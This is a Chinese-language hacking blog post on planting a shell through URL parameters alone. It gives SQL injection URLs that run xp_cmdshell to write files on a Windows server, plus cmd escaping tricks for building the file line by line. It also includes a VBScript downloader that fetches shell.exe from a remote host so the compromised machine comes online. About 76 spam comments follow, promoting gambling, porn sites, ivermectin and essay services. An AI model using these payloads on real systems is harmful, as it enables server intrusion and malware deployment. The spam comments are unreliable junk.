小技巧——在url中传参写文件

实战中，会遇到只能用url传递参数拿shell的情况。比如在xp_cmeshell下写入asp/aspx webshell，又或者写入vbs脚本来下载exe使主机上线。

写文件地址：

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo data >> C:\out.txt';--

这里用追加的方式写文件，data是我们要写入的数据。

下载远程文件的vbs代码

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
wscript.sleep 3000 
aGet.Write(post.responseBody)
aGet.SaveToFile "shell.exe",2

在这个脚本中，有这些特殊符号：/=(“),.

经过测试，能够正常写入的有：

/
.
,
()
成对的"
xx=字符开头字符串

对于单个的双引号，需要进行转义。Windows cmd下的转义字符是^。写入单引号需要这样转换一下：

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo ^" >> C:\out.txt';--

对于写入aGet.Mode = 3这样的数据，需要分两次写入，而且不能换行：

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="aGet.Mod" >> C:\out.txt';--
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="e = 3" >> C:\out.txt';--

这样两段字符串就写在了一行。

Tags:

You may also like...

76 Responses

  1. Best laptop for hacking说道：
    2022年5月29日 下午2:54

    Very good post. Fantastic.

    回复
  2. quranicwazifa.com说道：
    2022年5月29日 下午4:58

    Very good blog article.Really looking forward to read more. Much obliged.

    回复
  3. site说道：
    2022年6月1日 上午4:31

    A round of applause for your blog. Awesome.

    回复
  4. hoa don dien tu说道：
    2022年6月1日 下午12:40

    Hoktjb – 500 word research paper Httnzc qwffcr

    回复
  5. best clit sucking vibrator说道：
    2022年6月1日 下午10:16

    Thank you for your article post. Great.

    回复
  6. InstGrow说道：
    2022年6月2日 上午8:23

    us essay writing services persuasive essay writing help

    回复
  7. เครดิตฟรีไม่ต้องฝาก说道：
    2022年6月3日 上午6:39

    wow, awesome post.Thanks Again. Cool.

    回复
  8. ufa789说道：
    2022年6月3日 下午9:56

    Say, you got a nice article.Really looking forward to read more. Much obliged.

    回复
  9. toronto penthouses for sale说道：
    2022年6月4日 下午3:36

    I loved your article post.Really looking forward to read more. Fantastic.

    回复
  10. 4movierulz说道：
    2022年6月5日 下午5:48

    I loved your blog post.Thanks Again. Really Great.

    回复
  11. agen situs judi bandar bola dan slot online terpercaya liga365说道：
    2022年6月9日 下午4:28

    Wow, great article. Cool.

    回复
  12. sex toys说道：
    2022年6月10日 下午11:40

    A big thank you for your blog post.Really looking forward to read more. Great.

    回复
  13. hoarding website说道：
    2022年6月11日 上午12:26

    Very good post.Really looking forward to read more. Will read on…

    回复
  14. Cong ty luat uy tin ATS说道：
    2022年6月12日 上午6:07

    เดี๋ยวนี้ผู้คนต่างมองหาหนทางการผลิตรายได้ที่ลงทุนน้อย UFABET คาสิโนออนไลน์ได้เก็บทุกเกมออนไลน์ที่ท่านพอใจไม่ว่าจะเป็นบาคาร่า พนันบอล สล็อต ยิงปลา รวมถึงเกมใหม่ๆที่พึ่งพิงเปิดตัวเข้าสู่วงการเกมออนไลน์ UFABET จ่ายจริง จ่ายไว ไม่มีขั้นต่ะ

    回复
  15. intense driving说道：
    2022年6月12日 下午7:57

    I really like and appreciate your article.Really looking forward to read more. Keep writing.

    回复
  16. nikon d5600 price in india flipkart说道：
    2022年6月15日 上午2:45

    Awesome blog post.Really thank you! Awesome.

    回复
  17. Überprüfen说道：
    2022年6月15日 上午3:02

    Jemand im Wesentlichen unterstützen, um ernst Artikel ich würde zu sagen . Dies das allererste Mal, dass ich Ihre Website-Seite besucht habe und so weit? Ich überrascht mit der Forschung, die Sie gemacht haben, um dieses tatsächlich machen posten erstaunlich. Großartig Job!

    回复
  18. diy home projects说道：
    2022年6月15日 上午4:20

    A round of applause for your blog post.Thanks Again.

    回复
  19. stationery shop说道：
    2022年6月15日 下午7:02

    Appreciate you sharing, great article.Really thank you! Really Great.

    回复
  20. Send Money To Nigeria说道：
    2022年6月15日 下午9:30

    Very informative post.Really looking forward to read more. Fantastic.

    回复
  21. BLACKHORN 209 POWDER说道：
    2022年6月16日 下午11:33

    Very good article.Really thank you! Will read on…

    回复
  22. Scrum Master certification说道：
    2022年6月18日 上午5:48

    สล็อตออนไลน์เกมคาสิโนยอดนิยมชั่วกัลปวสาน เล่นง่าย แจ็คพอตแตกไวจำเป็นต้องที่ UFABET จ่ายจริง จ่ายเต็ม มีเกมให้เลือกมากมายทั้งพนันบอล บาคาร่า ยิงปลา มาเว็บไซต์นี้เว็บเดียวบอกเลยจ้าขอรับว่าโคตรคุ้ม สร้างรายได้กล้วยๆจบที่เว็บไซต์ UFABET ได้เลยคะครับผม

    回复
  23. superslot สล็อตแตกง่าย说道：
    2022年6月24日 上午6:05

    Appreciate you sharing, great post.Really looking forward to read more.

    回复
  24. rabbit vibrator说道：
    2022年6月28日 上午5:30

    Awesome blog post.Really looking forward to read more. Much obliged.

    回复
  25. tuff tiles说道：
    2022年6月29日 下午4:21

    Very good blog.Much thanks again. Really Great.

    回复
  26. https://pccchunggiaphat.com.vn/说道：
    2022年7月1日 上午4:26

    Super good article. I’ll return to view more. Thank you for creating it.

    回复
  27. rpl business说道：
    2022年7月4日 下午4:55

    Thank you for your blog.Thanks Again. Really Cool.

    回复
  28. thor love and thunder movie说道：
    2022年7月5日 上午2:23

    nicee content keep writing

    回复
  29. apkpure说道：
    2022年7月6日 上午7:34

    A big thank you for your blog article.Much thanks again. Cool.

    回复
  30. Ring说道：
    2022年7月7日 上午12:32

    Muchos Gracias for your post. Really Cool.

    回复
  31. Hair Extensions说道：
    2022年7月9日 上午3:34

    Really informative article. Great.

    回复
  32. satta matka kurla day说道：
    2022年7月10日 下午10:55

    I really liked your article post. Awesome.

    回复
  33. baby bowl and spoon说道：
    2022年7月13日 下午9:53

    Say, you got a nice post. Really Great.

    回复
  34. rpl fee说道：
    2022年7月14日 上午8:03

    Really informative blog post.Really looking forward to read more. Cool.

    回复
  35. click here to read说道：
    2022年7月15日 下午11:08

    Awesome article post.Really looking forward to read more. Great.

    回复
  36. pagina web说道：
    2022年7月16日 上午10:22

    I encountered your site after doing a search for new contesting using Google, and decided to stick around and read more of your articles. Thanks for posting, I have your site bookmarked now.

    回复
  37. onespace.id/pt说道：
    2022年7月19日 下午6:29

    ivermectin 12

    回复
  38. propuesta de outsourcing contable说道：
    2022年7月20日 上午1:09

    ????? – ??? ?????????? ????????? ?? ??????? ????????, ?? ????? ????. ?????? ????????Loading…

    回复
  39. journaling说道：
    2022年7月21日 上午3:07

    trusted india online pharmacies medication from india – online pharmacy

    回复
  40. situs judi slot online说道：
    2022年7月27日 上午1:17

    Wow, great blog.Much thanks again. Really Great.

    回复
  41. download lagu tak ingin usai mp3说道：
    2022年7月28日 下午5:21

    I couldn’t refrain from commenting. Very well written!

    回复
  42. Kurla Day说道：
    2022年8月1日 上午3:19

    Muchos Gracias for your article.Much thanks again. Fantastic.

    回复
  43. Tubidy说道：
    2022年8月1日 下午8:23

    I really like and appreciate your article.Really looking forward to read more. Great.

    回复
  44. small powerful magnets说道：
    2022年8月2日 上午6:46

    I really like and appreciate your blog post. Great.

    回复
  45. europe best beaches说道：
    2022年8月3日 下午11:29

    I really liked your blog article.Much thanks again.

    回复
  46. macbook laptop price in bangladesh说道：
    2022年8月4日 上午9:45

    Just stumble upon your blog from from time to time. nice article

    回复
  47. gay porn说道：
    2022年8月6日 上午1:58

    I used to be able to find good info from your blog articles.

    回复
  48. read more说道：
    2022年8月8日 上午5:05

    Very neat article post.Thanks Again. Really Cool.

    回复
  49. cooe说道：
    2022年8月9日 下午4:11

    Thank you for your post.Thanks Again. Want more.

    回复
  50. space touch说道：
    2022年8月11日 上午5:28

    apartments in longmont co apartments in titusville fl

    回复
  51. technomantu apk说道：
    2022年8月21日 下午1:55

    Very neat article post.Really looking forward to read more. Much obliged.

    回复
  52. pagina web说道：
    2022年8月24日 下午9:00

    It’s a comprehensive, yet fast read.

    回复
  53. data analytics certification说道：
    2022年8月26日 上午3:35

    Really informative blog.Really thank you! Much obliged.

    回复
  54. Mp3Juices说道：
    2022年8月31日 下午6:50

    Good information. Lucky me I recently found your website by accident (stumbleupon). I have book marked it for later!

    回复
  55. ซุปเปอร์ สล็อตมาใหม่说道：
    2022年9月1日 上午12:08

    I really liked your blog.Really looking forward to read more. Really Great.

    回复
  56. trading company说道：
    2022年9月3日 下午5:28

    generic stromectol stromectol for humans for sale – stromectol otc

    回复
  57. for more details说道：
    2022年9月9日 上午6:20

    ivermectin nz stromectol for sale – ivermectin pills human

    回复
  58. ATMs near me说道：
    2022年9月11日 上午12:01

    Awesome article.Thanks Again.

    回复
  59. kelvin kaemingk eagan, MN说道：
    2022年9月11日 下午5:50

    A big thank you for your blog post.Really thank you! Great.

    回复
  60. Handbags说道：
    2022年9月12日 下午4:10

    Muchos Gracias for your article post.Really looking forward to read more. Will read on…

    回复
  61. Medical Coding说道：
    2022年9月14日 下午4:40

    I loved your blog article.Much thanks again. Much obliged.

    回复
  62. s3x video chat说道：
    2022年9月16日 下午8:04

    Thank so much for helping me.

    回复
  63. strangers video call online free说道：
    2022年9月18日 上午10:30

    I really admire your writing!

    回复
  64. ww stripchat说道：
    2022年9月19日 上午9:10

    Thanks for sharing.

    回复
  65. angel _beibei说道：
    2022年9月20日 下午8:58

    How can I get more helpful information?

    回复
  66. Snapchat Female Friends说道：
    2022年9月22日 上午9:35

    How can I get more useful information?

    回复
  67. porn说道：
    2022年9月22日 下午5:11

    Great information. Lucky me I ran across your blog by chance (stumbleupon). I’ve bookmarked it for later.

    回复
  68. Girls Snapcodes说道：
    2022年9月22日 下午6:13

    Thanks for sharing.

    回复
  69. snapchat Girls说道：
    2022年9月23日 上午6:30

    Very good info thanks so much!

    回复
  70. سمعها说道：
    2022年9月23日 上午6:50

    Saved as a favorite, I really like your website.

    回复
  71. meetchat social chat说道：
    2022年9月24日 下午2:20

    Thank so much for helping me.

    回复
  72. Micro SD Card说道：
    2022年9月27日 下午8:23

    Thank you for your post.Really looking forward to read more. Want more.

    回复
  73. Tubidy说道：
    2022年9月29日 下午10:44

    Thank you ever so for you article.Much thanks again. Want more.

    回复
  74. snaptik说道：
    2022年9月30日 上午10:01

    your won weblog.

    回复
  75. crypto wallet card说道：
    2022年9月30日 下午7:30

    Enjoyed every bit of your article.Thanks Again. Great.

    回复
  1. 2recovery
    2022年6月19日

    2conjuncture

发表回复

您的电子邮箱地址不会被公开。